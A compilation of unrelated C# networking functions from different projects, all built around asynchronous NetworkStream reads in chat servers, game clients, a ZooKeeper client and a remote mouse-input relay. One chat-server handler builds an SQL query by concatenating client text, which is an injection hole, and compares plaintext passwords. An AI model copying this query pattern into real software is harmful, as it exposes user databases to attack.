private void AsyncReadCallBack(IAsyncResult iar) { if ((tcpClient == null) || (!tcpClient.Connected)) { return; } try { int NumOfBytesRead; NetworkStream stream = tcpClient.GetStream(); NumOfBytesRead = stream.EndRead(iar); if (NumOfBytesRead > 0) { this.Invoke((EventHandler)(delegate { int rx = int.Parse(tbRxCount.Text); rx += NumOfBytesRead; tbRxCount.Text = rx.ToString(); })); for (int i = 0; i < NumOfBytesRead; i++) { tcpReceiveBuffer[tcpReceiveCount++] = tcpTempBuffer[i]; if (tcpReceiveCount > 5) { if (tcpReceiveCount == tcpCommandNeedData) { //完成一帧,推送处理消息 if (ReceiveServerEvent != null) { byte[] rxFrame = new byte[tcpCommandNeedData]; Array.Copy(tcpReceiveBuffer, rxFrame, tcpCommandNeedData); ReceiveServerEvent(rxFrame); tcpReceiveCount = 0; } } } else if (tcpReceiveCount == 5) //命令决定长度 { switch (tcpReceiveBuffer[4]) { case 4: tcpCommandNeedData = 0x08 + 0x05; break; default: tcpReceiveCount = 0; break; } } else // if (tcpReceiveCount == 3)// { if (tcpReceiveBuffer[tcpReceiveCount - 1] != 0x55) { tcpReceiveCount = 0; } } } stream.BeginRead(tcpTempBuffer, 0, tcpTempBuffer.Length, new AsyncCallback(AsyncReadCallBack), stream); } else { stream.Close(); tcpClient.Close(); stream = null; tcpClient = null; this.Invoke((EventHandler)(delegate { btConnect.Text = "连接"; btConnect.BackColor = Color.Lime; btSendCommand.Enabled = false; btStartSave.Enabled = false; timerSave.Enabled = false; MessageBox.Show("网络连接已经断开"); })); } } catch (System.Exception ex) { if ((tcpClient == null) || (!tcpClient.Connected)) { return; } tcpClient.Close(); tcpClient = null; this.Invoke((EventHandler)(delegate { btConnect.Text = "连接"; btConnect.BackColor = Color.Lime; btSendCommand.Enabled = false; btStartSave.Enabled = false; timerSave.Enabled = false; MessageBox.Show("网络连接已经断开:" + ex.Message); })); } }
/// <summary> /// Callback call by stream.BeginRead after reception of newLength data /// </summary> /// <param name="ar">Not sure of what is it, but needed for terminate reading</param> private static void ReadCallback(IAsyncResult ar) { int newLength = 1; int index = -1; if (client.Connected) { int bytesRead; try { // Terminate read operation, and get number of byte stored in buffer bytesRead = stream.EndRead(ar); } catch (ObjectDisposedException e) { Console.WriteLine("Connection to server dropped: " + e.ToString()); return; } catch (System.IO.IOException e) { Console.WriteLine("Connection to server dropped: " + e.ToString()); return; } newLength = 1; index = -1; // if number of byte read is not 0, concatenate string and buffer if (bytesRead > 0) { //Console.WriteLine("Receive " + bytesRead + " data"); // Append new data to current string (expecting data are ascii) message.Append(Encoding.ASCII.GetString(buffer, 0, bytesRead)); index = SearchCarriageReturn(buffer, bytesRead); } // if it remains received data, prepare for a new reading (get another buffer to append to current one) if (index == -1) { if (client.Available > 0) { newLength = client.Available; if (newLength > BufferMaxSize) { newLength = BufferMaxSize; } else { newLength = client.Available; } } } else { string s = message.ToString(); // no more data to read, buffer and string can be send to upper level readEvent?.Invoke(s); message.Clear(); if (index != bytesRead - 1) { byte[] trailing = new byte[BufferMaxSize]; Array.Copy(buffer, index + 1, trailing, 0, bytesRead - index - 1); message.Append(Encoding.ASCII.GetString(trailing, 0, bytesRead - index - 1)); } } // Prepare for reading new data if (newLength > BufferMaxSize) { newLength = BufferMaxSize; } if (newLength <= 0) { newLength = 1; } try { stream.BeginRead(buffer, 0, newLength, new AsyncCallback(ReadCallback), message); } catch (ObjectDisposedException e) { Console.WriteLine("Connection to server dropped: " + e.ToString()); return; } catch (System.IO.IOException e) { Console.WriteLine("Connection to server dropped: " + e.ToString()); return; } } }
public override int EndRead(IAsyncResult ar) { return(stream.EndRead(ar)); }
private void onPacketReceive(IAsyncResult result) { if (CurrentState == ConnectionState.Disconnect) // mmm sexy race condition { return; } int bytesRead; try { bytesRead = tcpStream.EndRead(result); } catch (ObjectDisposedException) // mmm sexy race condition pt. 2 { return; } if (bytesRead == 0) { Server.ServerThread.Queue(completeDisconnect, DisconnectReason.ClientClosedConnection); Console.WriteLine("blah"); } else { try { int len = tcpStream.ReadVarInt(firstByte[0]); ServerBoundPacket packet; if (Server.CompressionEnabled) { byte[] wholePacket = new byte[len]; tcpStream.Read(wholePacket, 0, len); using (MemoryStream ms = new MemoryStream(wholePacket)) { int dataLength = ms.ReadVarInt(); if (dataLength == 0) // uncompressed { int read; int packetID = ms.ReadVarInt(out read); packet = Server.PacketParser.ParsePacket(tcpStream, len - read - DataUtils.MeasureVarInt(0), packetID, Version, CurrentState); } else { using (ZlibStream zlibStream = new ZlibStream(ms, CompressionMode.Decompress)) { int read; int packetID = zlibStream.ReadVarInt(out read); packet = Server.PacketParser.ParsePacket(zlibStream, dataLength - read, packetID, Version, CurrentState); } } } } else { int read; int packetID = tcpStream.ReadVarInt(out read); packet = Server.PacketParser.ParsePacket(tcpStream, len - read, packetID, Version, CurrentState); } Server.ServerThread.Queue(completePacketReceive, packet); } catch { Server.ServerThread.Queue(completeDisconnect, DisconnectReason.UnexpectedDataFromClient); } } }
public int EndRead(IAsyncResult result) { return(_networkStream.EndRead(result)); }
private void ClientThread(object client) { NetworkStream stream = null; TcpClient tcpClient = client as TcpClient; try { stream = tcpClient.GetStream(); while (_working) { byte[] data = new byte[1]; IAsyncResult async = stream.BeginRead(data, 0, 1, null, null); if (stream.EndRead(async) == 0) { break; } bool isVariable = data[0] == 1; data = new byte[4]; async = stream.BeginRead(data, 0, 4, null, null); if (stream.EndRead(async) == 0) { break; } int length = BitConverter.ToInt32(data, 0); if (length > 0) { data = new byte[length]; async = stream.BeginRead(data, 0, length, null, null); if (stream.EndRead(async) == 0) { break; } if (isVariable) { Variable v = Variable.Deserialize(new MemoryStream(data)); VariableEvent ve = null; if (_variablesListeners.TryGetValue(v.ID, out ve)) { ve.FireSignal(v); } } } } } catch (ThreadAbortException) { } catch (Exception ex) { _log.Log(this, "Błąd połączenia z klientem: " + tcpClient.Client.RemoteEndPoint.ToString() + ", błąd: " + ex.Message); } finally { _log.Log(this, "Zamknięto połączenie z klientem: " + tcpClient.Client.RemoteEndPoint.ToString()); if (stream != null) { try { stream.Close(); stream.Dispose(); stream = null; } catch { } } if (tcpClient != null) { try { tcpClient.Close(); tcpClient = null; } catch { } } } }
/// <summary> /// process the receiving mechanism in asynchronous manner. /// Zookeeper server sent data in two main parts /// part(1) -> contain the length of the part(2) /// part(2) -> contain the interest information /// /// Part(2) may deliver in two or more segments so it is important to /// handle this situation properly /// </summary> /// <param name="ar">The asynchronous result</param> private void ReceiveAsynch(IAsyncResult ar) { if (Interlocked.CompareExchange(ref isDisposed, 0, 0) == 1) { return; } int len = 0; try { Tuple <TcpClient, byte[]> state = (Tuple <TcpClient, byte[]>)ar.AsyncState; TcpClient asyncClient = state.Item1; byte[] bData = state.Item2; NetworkStream stream = asyncClient.GetStream(); try { len = stream.EndRead(ar); } catch (Exception ex) { LOG.Error(ex); } if (Interlocked.CompareExchange(ref client, asyncClient, asyncClient) != asyncClient) { // there was a reconnect in the meantime on the sender thread; do nothing return; } if (len == 0) //server closed the connection... { LOG.Debug("TcpClient connection lost."); if (zooKeeper.State == ZooKeeper.States.CONNECTING) { zkEndpoints.CurrentEndPoint.SetAsFailure(); } zooKeeper.State = ZooKeeper.States.NOT_CONNECTED; IsConnectionClosedByServer = true; return; } recvCount++; if (bData == incomingBuffer) // if bData is incoming then surely it is a length information { currentLen = 0; juteBuffer = null; // get the length information from the stream juteBuffer = new byte[ReadLength(bData)]; // try getting other info from the stream stream.BeginRead(juteBuffer, 0, juteBuffer.Length, ReceiveAsynch, Tuple.Create(asyncClient, juteBuffer)); } else // not an incoming buffer then it is surely a zookeeper process information { if (Interlocked.CompareExchange(ref initialized, 1, 0) == 0) { // haven't been initialized so read the authentication negotiation result ReadConnectResult(bData); // reading length information stream.BeginRead(incomingBuffer, 0, incomingBuffer.Length, ReceiveAsynch, Tuple.Create(asyncClient, incomingBuffer)); } else { currentLen += len; if (juteBuffer.Length > currentLen) // stream haven't been completed so read any left bytes { stream.BeginRead(juteBuffer, currentLen, juteBuffer.Length - currentLen, ReceiveAsynch, Tuple.Create(asyncClient, juteBuffer)); } else { // stream is complete so read the response ReadResponse(bData); // everything is fine, now read the stream again for length information stream.BeginRead(incomingBuffer, 0, incomingBuffer.Length, ReceiveAsynch, Tuple.Create(asyncClient, incomingBuffer)); } } } } catch (Exception ex) { LOG.Error(ex); } }
private void HandleDataReceived(IAsyncResult ar) { TCPClientState state = (TCPClientState)ar.AsyncState; NetworkStream stream = state.NetworkStream; if (state != null) { int recv = 0; try { recv = stream.EndRead(ar); byte[] buff = new byte[recv]; Buffer.BlockCopy(state.Buffer, 0, buff, 0, recv); String str = Encoding.UTF8.GetString(buff); string instruction = str.Substring(0, 4); string content = str.Substring(4); switch (instruction) { case "@01@": string[] addInfo = content.Split(','); string userName = addInfo[0]; string password = addInfo[1]; string sql = "SELECT * FROM useraccount WHERE UserName=@UserName AND Password=@Password"; List <UserAccount> accounts = DBHelper.QueryToList <UserAccount>(sql, new MySqlParameter[] { new MySqlParameter("UserName", userName), new MySqlParameter("Password", password) }); if (accounts.Count > 0) { state.userId = accounts[0].UserId; state.clientName = accounts[0].NickName; this.Invoke((EventHandler) delegate { cbClientList.Items.Add(accounts[0].NickName); }); string user = JsonConvert.SerializeObject(accounts[0]); Send(state.TcpClient, Encoding.UTF8.GetBytes("@01@" + user)); } else { Send(state.TcpClient, Encoding.UTF8.GetBytes("@01@0")); } break; case "@2@": this.Invoke(new MethodInvoker(() => { this.tbChatContent.AppendText(state.clientName + " 发来:" + content + "\n"); })); break; case "@02@": string getFriends = "SELECT * FROM useraccount WHERE UserId in (SELECT f.FriendId FROM friend f LEFT JOIN useraccount u ON f.SelfId=u.UserId WHERE u.UserId=@UserId);"; List <UserAccount> friends = DBHelper.QueryToList <UserAccount>(getFriends, new MySqlParameter[] { new MySqlParameter("UserId", state.userId) }); string jsonOfFriends = JsonConvert.SerializeObject(friends); Send(state.TcpClient, Encoding.UTF8.GetBytes("@02@" + jsonOfFriends)); break; case "@03@": string searchByNickName = "select * from useraccount where NickName like '%" + content + "%'"; List <UserAccount> userAccounts = DBHelper.QueryToList <UserAccount>(searchByNickName, new MySqlParameter[] {}); string jsonOfPersons = JsonConvert.SerializeObject(userAccounts); Send(state.TcpClient, Encoding.UTF8.GetBytes("@03@" + jsonOfPersons)); break; case "@04@": ChatRecords record = JsonConvert.DeserializeObject <ChatRecords>(content); if (record != null) { string addRecord = "INSERT chatrecords VALUES(@RecordId,@FromId,@ToId,@SendTime,@Content)"; DBHelper.AddData(addRecord, new MySqlParameter[] { new MySqlParameter("RecordId", record.RecordId), new MySqlParameter("FromId", record.FromId) , new MySqlParameter("ToId", record.ToId), new MySqlParameter("SendTime", record.SendTime), new MySqlParameter("Content", record.Content) }); this.Invoke((EventHandler) delegate { tbChatContent.AppendText("" + record.FromId + "→" + record.ToId + ":" + record.Content + "\n"); }); } var res = clientList.Where(u => u.userId == record.ToId).ToList(); if (res.Count > 0) { Send(res[0].TcpClient, Encoding.UTF8.GetBytes("@04@" + content)); } break; default: break; } } catch (Exception ex) { recv = 0; stream.Close(); state.TcpClient.Close(); clientList.Remove(state); this.Invoke(new MethodInvoker(() => { this.tbLog.AppendText(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss " + state.ClientAddr + " 断开连接!\n")); this.cbClientList.Items.Clear(); foreach (TCPClientState s in clientList) { this.cbClientList.Items.Add(s.clientName); } })); return; //MessageBox.Show(ex.Message); } try { stream.BeginRead(state.Buffer, 0, state.Buffer.Length, HandleDataReceived, state); }catch (Exception ex) { MessageBox.Show(ex.Message); } } }
private int Read(NetworkStream stream, byte[] buffer, int count) { var ar = stream.BeginRead(buffer, 0, count, null, null); if (!ar.AsyncWaitHandle.WaitOne(SocksTimeout)) { throw new SocksException("The proxy did not respond in a timely manner."); } count = stream.EndRead(ar); if (count < 2) { throw new SocksException("Unable to negotiate with the proxy."); } return count; }
private void ReceiveCallback(IAsyncResult ar) { if (NetworkStream != null) { try { int iBytesRead = NetworkStream.EndRead(ar); iBytesRead = ServeCrossDomainPolicy(iBytesRead); if (iBytesRead > 0) { // Create or resize our packet stream to hold the new data. if (PacketStream == null) { PacketStream = new byte[iBytesRead]; } else { Array.Resize(ref PacketStream, PacketStream.Length + iBytesRead); } Array.Copy(ReceivedBuffer, 0, PacketStream, PacketStream.Length - iBytesRead, iBytesRead); UInt32 packetSize = Packet.DecodePacketSize(PacketStream); while (this.PacketStream != null && PacketStream.Length >= packetSize && PacketStream.Length > Packet.PacketHeaderSize) { // Copy the complete packet from the beginning of the stream. var completePacket = new byte[packetSize]; Array.Copy(PacketStream, completePacket, packetSize); var deserializedPacket = new Packet(completePacket); SequenceNumber = Math.Max(SequenceNumber, deserializedPacket.SequenceNumber); LastPacketReceived = deserializedPacket; // Dispatch the completed packet. this.OnPacketReceived(deserializedPacket); // Now remove the completed packet from the beginning of the stream var updatedSteam = new byte[PacketStream.Length - packetSize]; Array.Copy(PacketStream, packetSize, updatedSteam, 0, PacketStream.Length - packetSize); PacketStream = updatedSteam; packetSize = Packet.DecodePacketSize(PacketStream); } // If we've recieved 16 kb's and still don't have a full command then shutdown the connection. if (ReceivedBuffer.Length >= MaxGarbageBytes) { Shutdown(); } if (this.NetworkStream != null) { this.NetworkStream.BeginRead(this.ReceivedBuffer, 0, this.ReceivedBuffer.Length, this.ReceiveCallback, this); } } else { Shutdown(); } } catch (Exception) { Shutdown(); } } else { Shutdown(); } }
private static IEnumerator _Receive() { while (true) { //持续接受消息 while (isConnected) { //解析数据包过程(服务器与客户端需要严格按照一定的协议制定数据包) byte[] data = new byte[4]; int length; //消息长度 MessageType type; //类型 int receive = 0; //接收长度 //异步读取 IAsyncResult async = _stream.BeginRead(data, 0, data.Length, null, null); while (!async.IsCompleted) { yield return(null); } //异常处理 try { receive = _stream.EndRead(async); } catch (Exception ex) { isConnected = false; Debug.Log("消息包头接收失败:"); yield break; } if (receive < data.Length) { isConnected = false; Debug.Log("消息包头接收失败:"); yield break; } using (MemoryStream stream = new MemoryStream(data)) { BinaryReader binary = new BinaryReader(stream, Encoding.UTF8); //UTF-8格式解析 try { length = binary.ReadUInt16(); type = (MessageType)binary.ReadUInt16(); } catch (Exception) { isConnected = false; Debug.Log("消息包头接收失败:"); yield break; } } //如果有包体 if (length - 4 > 0) { data = new byte[length - 4]; //异步读取 async = _stream.BeginRead(data, 0, data.Length, null, null); while (!async.IsCompleted) { yield return(null); } //异常处理 try { receive = _stream.EndRead(async); } catch (Exception ex) { isConnected = false; Debug.Log("消息包头接收失败:"); yield break; } if (receive < data.Length) { isConnected = false; Debug.Log("消息包头接收失败:"); yield break; } } //没有包体 else { data = new byte[0]; receive = 0; } if (_callBacks.ContainsKey(type)) { //执行回调事件 CallBack method = _callBacks[type]; method(data); } else { Debug.Log("未注册该类型的回调事件"); } } while (!isConnected) { yield return(new WaitForSeconds(1)); } } }
private void DoStreamReceive(IAsyncResult asyncResult) { int intCount = 0; try { NetworkStream netStream = Client.GetStream(); lock (netStream) { intCount = netStream.EndRead(asyncResult); } if (intCount < 1) { if (ClientDisconnected != null) { ClientDisconnected(this, "Remote socket " + Client.Client.RemoteEndPoint.ToString() + " disconnected"); } return; } string Buffer = Encoding.UTF8.GetString(ReceiveBytes, 0, intCount); int idx = Buffer.IndexOf("\0"); // End of message - process this message and move onto the next one if (idx > -1) { LastBuffer.Append(Buffer.Substring(0, idx)); PrevBuffer = new StringBuilder(); PrevBuffer.Append(LastBuffer.ToString()); string TotalData = LastBuffer.ToString(); if (TextReceived != null) { TextReceived(this, TotalData); } LastBuffer = new StringBuilder(); if (idx + 1 < Buffer.Length) { int idd = idx + 1; string Remainder = Buffer.Substring(idd, (Buffer.Length - idd)); LastBuffer.Append(Remainder); } } else { LastBuffer.Append(Encoding.UTF8.GetString(ReceiveBytes, 0, intCount)); } lock (netStream) { netStream.BeginRead(ReceiveBytes, 0, 1024, DoStreamReceive, null); } } catch (Exception ex) { if (ClientDisconnected != null) { ClientDisconnected(this, "Remote socket closed"); } return; } }
/// <summary> /// TCP读数据的回调函数 /// </summary> /// <param name="ar"></param> private void TCPReadCallBack(IAsyncResult ar) { StateObject state = (StateObject)ar.AsyncState; //主动断开时 if ((state.client == null) || (!state.client.Connected)) { Debug.Log("---------------TCPReadCallBack:closeSocket "); ///Debug.LogError("disconnect6: TCPReadCallBack:closeSocket: client cause disconnect!!! "); closeSocket(); // for HideSeek 断线重连:设置serviceStatus使CheckInGameServerAfterOffline中的自动重连生效,因为客户端的7s断线检测关了(StartOrStopGameSceneHeartBeat直接return) ///DisconnectCallback(); return; } int numberOfBytesRead; NetworkStream mas = state.client.GetStream(); try { //EndRead 方法将一直处于阻止状态,直到有数据可用为止。 //EndRead 方法将读取尽可能多的可用数据,直到达到在 BeginRead 方法的 size 参数中指定的字节数为止。 //如果远程主机关闭了 Socket 连接并且已接收到所有可用数据,EndRead 方法将立即完成并返回零字节。 numberOfBytesRead = mas.EndRead(ar); //state.totalBytesRead += numberOfBytesRead; //Debug.Log("read byte size : " + numberOfBytesRead); if (numberOfBytesRead > 0) { ///byte[] dd = new byte[numberOfBytesRead]; ///Array.Copy(state.buffer, 0, dd, 0, numberOfBytesRead); ReceiveCallBack(state.buffer, numberOfBytesRead); Array.Clear(state.buffer, 0, StateObject.BufferSize); if (isConnected) { mas.BeginRead(state.buffer, 0, StateObject.BufferSize, new AsyncCallback(TCPReadCallBack), state); } } else { Debug.LogError("disconnect7: TCPReadCallBack: numberOfBytesRead<=0 cause disconnect! 连接异常,客户端被动断开! numberOfBytesRead=" + numberOfBytesRead); //设置标志,连接服务端失败! //Debug.Log("---------------连接异常,客户端被动断开-------------3-----"); #if true //被动断开时 mas.Close(); state.client.Close(); mas = null; state = null; DisconnectCallback(); #else // for HideSeek Array.Clear(state.buffer, 0, StateObject.BufferSize); if (isConnected) { mas.BeginRead(state.buffer, 0, StateObject.BufferSize, new AsyncCallback(TCPReadCallBack), state); } #endif } } catch (SocketException e) { Debug.LogError("disconnect8: TCPReadCallBack: SocketException = " + e + ", message=" + e.Message); } catch (IOException e) { Debug.LogError("disconnect8: TCPReadCallBack: catch cause disconnect,读取socket数据失败! IOException = " + e); //Debug.LogWarning("IOException: IOException = " + e ); //Debug.LogWarning("InnerException: InnerException=" + e.InnerException); //Debug.Log("读取socket数据失败 tcp client: " + state.client.Client.Handle); DisconnectCallback(); throw; } #if false catch (ObjectDisposedException e) { Debug.Log(e.Message); throw; } #endif }
private void OnReadData(IAsyncResult ar) { ClientInfo cinfo = (ClientInfo)ar.AsyncState; int bytesRead = 0; byte[] testByte = new byte[1]; if (cinfo.TCPConnection == null || !cinfo.TCPConnection.Connected) { HandleForm.UISyncMsg(GD.Push_Exception, null, null, "Detect client disconnect"); HandleForm.UISyncMsg(GD.Push_RemoveClient, cinfo, null, null); return; } try { //使用Peek測試連線是否仍存在 if (cinfo.TCPConnection.Client.Poll(0, SelectMode.SelectRead) && cinfo.TCPConnection.Client.Receive(testByte, SocketFlags.Peek) == 0) { HandleForm.UISyncMsg(GD.Push_Exception, null, null, "Detect client disconnect"); HandleForm.UISyncMsg(GD.Push_RemoveClient, cinfo, null, null); //HandleForm.DisplayText("Detect client disconnect\n"); return; } } catch (SocketException ex) { if (ex.ErrorCode == 10054) { //HandleForm.UISyncMsg(GD.Push_Exception, ex, null, string.Format("{0} Disconnected!", cinfo.ClientIP)); HandleForm.UISyncMsg(GD.Push_RemoveClient, cinfo, null, null); } else { HandleForm.UISyncMsg(GD.Push_Exception, ex, null, string.Format("OnReadData Exception {0}", ex.Message)); } //HandleForm.DisplayText(string.Format("OnReadData Exception Happen {0}\n", ex.Message)); return; } NetworkStream stream = cinfo.TCPConnection.GetStream(); //int BodyLen = 0; //byte[] blenarray = new byte[4]; //block until data is available try { bytesRead = stream.EndRead(ar); } catch (SocketException ex) { HandleForm.UISyncMsg(GD.Push_Exception, ex, null, string.Format("stream.EndRead Exception {0}", ex.Message)); //HandleForm.DisplayText(string.Format("stream.EndRead Exception Happen {0}\n", ex.Message)); } if (bytesRead > 0) { //state.Data.Append(Encoding.UTF8.GetString(state.Buffer, 0, bytesRead)); try { Array.Copy(cinfo.buf, 0, cinfo.tmpbuf, cinfo.tailidx, bytesRead); } catch (Exception ex) { //MessageBox.Show(ex.Message); HandleForm.UISyncMsg(GD.Push_Exception, ex, null, string.Format("OnReadData Exception Happen {0}\n")); //HandleForm.DisplayText(string.Format("OnReadData Exception Happen {0}\n", ex.Message)); } cinfo.tailidx += bytesRead; try { while (true) { if ((cinfo.tailidx - cinfo.headidx) >= AppMsgHeader.HeaderLen) { Array.Clear(cinfo.MsgHeader.HeaderData, 0, AppMsgHeader.HeaderLen); Array.Copy(cinfo.tmpbuf, cinfo.headidx, cinfo.MsgHeader.HeaderData, 0, AppMsgHeader.HeaderLen); //BodyLen = GlobalData.TABodyLength(blenarray); //建名的訊息bodylength不含header,但大州的含header length,故資料PARSE邏輯不一樣 //cinfo.headidx += AppMsgHeader.HeaderLen; if (cinfo.MsgHeader.BodyLength == 0) { break; } if ((cinfo.tailidx - cinfo.headidx) >= (cinfo.MsgHeader.BodyLength + AppMsgHeader.HeaderLen)) { string jsonstr = Encoding.UTF8.GetString(cinfo.tmpbuf, cinfo.headidx + AppMsgHeader.HeaderLen, cinfo.MsgHeader.BodyLength); if (jsonstr.Length > 0) { UserReq req = new UserReq(); req.clientinfo = cinfo; req.FunctionID = Encoding.UTF8.GetString(cinfo.MsgHeader.FunctionID); req.DateTime = Encoding.UTF8.GetString(cinfo.MsgHeader.DateTime); req.DataLen = cinfo.MsgHeader.BodyLength; req.MsgID = Encoding.UTF8.GetString(cinfo.MsgHeader.MsgID).Trim(Convert.ToChar(0)); req.Channel = Encoding.UTF8.GetString(cinfo.MsgHeader.Channel).Trim(Convert.ToChar(0)); req.jsonreq = jsonstr; cinfo.ReqQueue.Enqueue(req); ThreadPool.QueueUserWorkItem(new WaitCallback(cinfo.ThreadReqTask)); //cinfo.mrevent.Set(); //req.FunctionID = //HandleForm.DisplayText(string.Format("BodyLength - {0}\r\n{1}", AppMsgHeader.BodyLength, jsonstr)); //Emps emps = JsonConvert.DeserializeObject<Emps>(jsonstr); //HandleForm.DisplayText(string.Format("\r\nfirstname : {0}\r\nlastname : {1}", emps.employees[0].firstname, emps.employees[0].lastname)); //HandleForm.DisplayText(string.Format("\r\nfirstname : {0}\r\nlastname : {1}", emps.employees[1].firstname, emps.employees[1].lastname)); } else { //HandleForm.DisplayText("Heart Beat!!"); } cinfo.headidx += cinfo.MsgHeader.BodyLength + AppMsgHeader.HeaderLen; } else { int leftsize = cinfo.tailidx - cinfo.headidx; Array.Copy(cinfo.tmpbuf, cinfo.headidx, cinfo.tmpbuf, 0, leftsize); cinfo.headidx = 0; cinfo.tailidx = leftsize; Array.Clear(cinfo.tmpbuf, cinfo.tailidx, cinfo.tmpbuf.Length - leftsize); break; } } else { int leftsize = cinfo.tailidx - cinfo.headidx; Array.Copy(cinfo.tmpbuf, cinfo.headidx, cinfo.tmpbuf, 0, leftsize); cinfo.headidx = 0; cinfo.tailidx = leftsize; Array.Clear(cinfo.tmpbuf, cinfo.tailidx, cinfo.tmpbuf.Length - leftsize); break; } }//while stream.BeginRead(cinfo.buf, 0, cinfo.bufsize, new AsyncCallback(OnReadData), cinfo); } catch (Exception ex) { HandleForm.UISyncMsg(GD.Push_Exception, ex, null, string.Format("EndReadCallback Exception {0}", ex.Message)); //HandleForm.DisplayText(string.Format("EndReadCallback Exception Happen {0}\n", ex.Message)); return; } } else { HandleForm.UISyncMsg(GD.Push_Exception, null, null, "Detect client disconnect read 0 byte\n"); //HandleForm.DisplayText("Detect client disconnect read 0 byte\n"); return; } }
// Called when data is available on the socket private void ReadFarPointerData(IAsyncResult ar) { try { NetworkStream strm = (NetworkStream)ar.AsyncState; int read = strm.EndRead(ar); if (read == 0) { ClientDisconnected(); return; } int used = 0; try { m_read += read; using (MemoryStream ms = new MemoryStream(m_buf, 0, m_read)) using (BinaryReader br = new BinaryReader(ms)) { for (used = 0; used != m_read; used = (int)ms.Position) { Debug.Assert(used < m_read); switch ((EMsg)br.ReadByte()) { default: break; case EMsg.None: break; case EMsg.Name: { m_name = br.ReadString(); m_lbl_name.Text = m_name; if (NameUpdated != null) { NameUpdated(); } } break; case EMsg.MouseDown: { MouseEventArgs e = ReadMouseData(br); Location = new Point(e.X, e.Y); Window win = new Window(Win32.WindowFromPoint(Win32.POINT.FromPoint(Location))); if (e.Button == MouseButtons.Left) { win.SendMessage(Win32.WM_LBUTTONDOWN, Win32.MK_LBUTTON, Win32.MakeLParam(Location)); } else if (e.Button == MouseButtons.Right) { win.SendMessage(Win32.WM_RBUTTONDOWN, Win32.MK_RBUTTON, Win32.MakeLParam(Location)); } else if (e.Button == MouseButtons.Middle) { win.SendMessage(Win32.WM_MBUTTONDOWN, Win32.MK_MBUTTON, Win32.MakeLParam(Location)); } } break; case EMsg.MouseUp: { MouseEventArgs e = ReadMouseData(br); Location = new Point(e.X, e.Y); Window win = new Window(Win32.WindowFromPoint(Win32.POINT.FromPoint(Location))); if (e.Button == MouseButtons.Left) { win.SendMessage(Win32.WM_LBUTTONUP, Win32.MK_LBUTTON, Win32.MakeLParam(Location)); } else if (e.Button == MouseButtons.Right) { win.SendMessage(Win32.WM_RBUTTONUP, Win32.MK_RBUTTON, Win32.MakeLParam(Location)); } else if (e.Button == MouseButtons.Middle) { win.SendMessage(Win32.WM_MBUTTONUP, Win32.MK_MBUTTON, Win32.MakeLParam(Location)); } } break; case EMsg.MouseMove: { MouseEventArgs e = ReadMouseData(br); Location = new Point(e.X, e.Y); Window win = new Window(Win32.WindowFromPoint(Win32.POINT.FromPoint(Location))); win.SendMessage(Win32.WM_MOUSEMOVE, 0, Win32.MakeLParam(Location)); } break; case EMsg.MouseClick: { //MouseEventArgs e = ReadMouseData(br); //Location = new Point(e.X, e.Y); //Window win = new Window(Win32.WindowFromPoint(Win32.POINT.FromPoint(Location))); //win.SendMessage(Win32.WM_LMOUSECLICK, 0, Win32.MakeLParam(Location)); } break; case EMsg.MouseWheel: { MouseEventArgs e = ReadMouseData(br); Location = new Point(e.X, e.Y); Window win = new Window(Win32.WindowFromPoint(Win32.POINT.FromPoint(Location))); win.SendMessage(Win32.WM_MOUSEWHEEL, 0, Win32.MakeLParam(Location)); } break; case EMsg.KeyDown: { //m_wow.SendMessage(Win32.WM_KEYDOWN, key, 0x00080001); //m_wow.SendMessage(Win32.WM_KEYUP, key, 0x00080001); } break; case EMsg.KeyUp: break; case EMsg.KeyPress: break; } } } } catch (EndOfStreamException) {} // Copy any remaining unread data to the start of the buffer Buffer.BlockCopy(m_buf, used, m_buf, 0, m_read - used); m_read -= used; // Wait for more data AcceptClientData(); } catch (ObjectDisposedException) {} }
//再读取完成时进行回调 private void ReadComplete(IAsyncResult ar) { int bytesRead = 0; try { lock (streamToClient) { bytesRead = streamToClient.EndRead(ar); } if (bytesRead == 0) { throw new Exception("User disconnect"); } string[] messageArrive = Model.Decode(bytesRead, buffer); Array.Clear(buffer, 0, buffer.Length);//清空缓存,避免脏读 byte[] messageSend = null; if (messageArrive[0] == Model.Client_Arrive_Handshake) { /* * 新用户到达,格式: * [Client_Arrive_Haneshake] */ EndPoint userEndpoint = client.Client.RemoteEndPoint; //删除之间的转发记录(如果有) removeForward(); //分配端口 int userPort = Model.GetRandomNumber(portReceiveMin, portReceiveMax); UdpForwardServer udpForwardServer = new UdpForwardServer(userPort);//创建转发 userList.Add(userEndpoint, udpForwardServer); messageSend = Model.Encode(Model.Server_Proxy_Start, userPort); Console.WriteLine(string.Format("[{0}][INFO]New Port [{1}] for user [{2}]", Model.GetDatetime(), userPort, client.Client.RemoteEndPoint)); /* * 服务端返回: * [Server_Proxy_Start][userPort] */ } streamToClient.Write(messageSend, 0, messageSend.Length); streamToClient.Flush(); // 再次调用BeginRead(),完成时调用自身,形成无限循环 lock (streamToClient) { AsyncCallback callBack = new AsyncCallback(ReadComplete); streamToClient.BeginRead(buffer, 0, BufferSize, callBack, null); } } catch (Exception ex) { Console.WriteLine(string.Format("[{0}][ERRO]User [{1}],Error Info:\n[{0}][ERRO]{2}", Model.GetDatetime(), client.Client.RemoteEndPoint, ex.Message)); removeForward(); client.Close(); } }
/// <summary> /// 客户端通讯回调函数 /// </summary> /// <param name="ar"></param> private void TCPCallBack(IAsyncResult ar) { CollectTCPClient client = (CollectTCPClient)ar.AsyncState; try { if (client.NetWork.Connected) { NetworkStream ns = client.NetWork.GetStream(); byte[] recdata = new byte[ns.EndRead(ar)]; if (recdata.Length > 0) { Array.Copy(client.buffer, recdata, recdata.Length); if (DataReceived != null) { DataReceived.BeginInvoke(client, recdata, null, null);//异步输出数据 } ns.BeginRead(client.buffer, 0, client.buffer.Length, new AsyncCallback(TCPCallBack), client); } else { //client.DisConnect(); //lstConn.Invoke(new MethodInvoker(delegate { // lstConn.Items.Remove(client); // /* // * TODO : 可以不让列表消失,变色或者加一个已断开的后缀 // * // * */ //})); //client = null; //GC.Collect();// 通知托管堆强制回收垃圾 //在这里要关闭client.NetWork.GetStream() ns.Close(); client.DisConnect(); lstConn.Invoke(new MethodInvoker(delegate { lstConn.Items.Remove(client); })); //lstClient.Remove(client); //BindLstClient(); client = null; GC.Collect();// 通知托管堆强制回收垃圾 if (tcpsever != null) { tcpsever.Stop(); Thread.Sleep(5000); StartTCPServer(); } } } else { client.DisConnect(); lstConn.Invoke(new MethodInvoker(delegate { lstConn.Items.Remove(client); })); //lstClient.Remove(client); //BindLstClient(); client = null; GC.Collect();// 通知托管堆强制回收垃圾 } } catch { } }